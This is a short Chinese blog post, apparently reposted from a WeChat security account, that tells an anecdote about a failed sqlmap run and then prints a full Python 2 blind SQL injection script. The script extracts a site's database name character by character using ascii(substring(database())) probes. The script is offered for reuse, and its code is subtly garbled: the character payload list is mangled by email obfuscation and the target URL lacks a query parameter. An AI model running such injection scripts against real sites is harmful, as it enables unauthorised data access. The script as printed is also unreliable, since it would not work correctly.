SQL盲注之隔壁老王的事(附脚本)

  • A+
所属分类:安全文章

好久没与隔壁老王聊天了,那也是,他现在已经是月入十万的人了,我都不好意思住在他隔壁,天天挖洞,真想起当初在学校机房那会一天一个洞不管大小,一个月下来就好几千了,然而并没什么用!今天的话题与这个搭不上边。


那天我在搞渗透测试,遇到了一个奇怪的a.com站点,手工用and 1=1这种去测试发现应该是SQL注入的,但是直接在sqlmap上注入又不行。

SQL盲注之隔壁老王的事(附脚本)
然后我找了隔壁老王,我说这个注入怎么这么神奇啊,他教了我在sqlmap上加个“*”(不含引号),结果还是不行,然后我把注入发给他,没想到他那边的sqlmap就能跑出来,我的就不行,心碎的一地。

SQL盲注之隔壁老王的事(附脚本)
我说这样吧,你晚上帮我整个注入的脚本,让它猜测。


等呀等呀等,等到了晚上半夜,脚本终于写好了。然后我肯定是先读一遍源码学习一下啊。

SQL盲注之隔壁老王的事(附脚本)
首先呢,它是把payload跟headers写在前面了

payloads = list('[email protected]_.')

headers = {
     'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36'
        }

之后是利用了ascii函数进行猜解, and ascii(substring(database(),%s,1))=%s,然后%1匹配payload让它猜测。最后就把结果打印出来。

SQL盲注之隔壁老王的事(附脚本)
下面将是整个脚本:

#coding=utf-8
import requests

import sys

reload(sys)

sys.setdefaultencoding('utf-8')

users=''

payloads = list('[email protected]_.')

headers = {
     'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36'
        }

for i in range(1,8):

    for payload in payloads:
        try:

            url = "http://a.com and ascii(substring(database(),%s,1))=%s" % (i,ord(payload))

            result = requests.get(url,headers=headers).text
            print u"*",

            if len(result) > 4000:
                users += payload

                print u'n∩▂∩:', users

                break
        except:
            pass
print 'n[Done] User is:', users

SQL盲注之隔壁老王的事(附脚本)

你的动力

我的前进方向

SQL盲注之隔壁老王的事(附脚本)

长按二维码关注我们




本文始发于微信公众号(逢人斗智斗勇):SQL盲注之隔壁老王的事(附脚本)

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: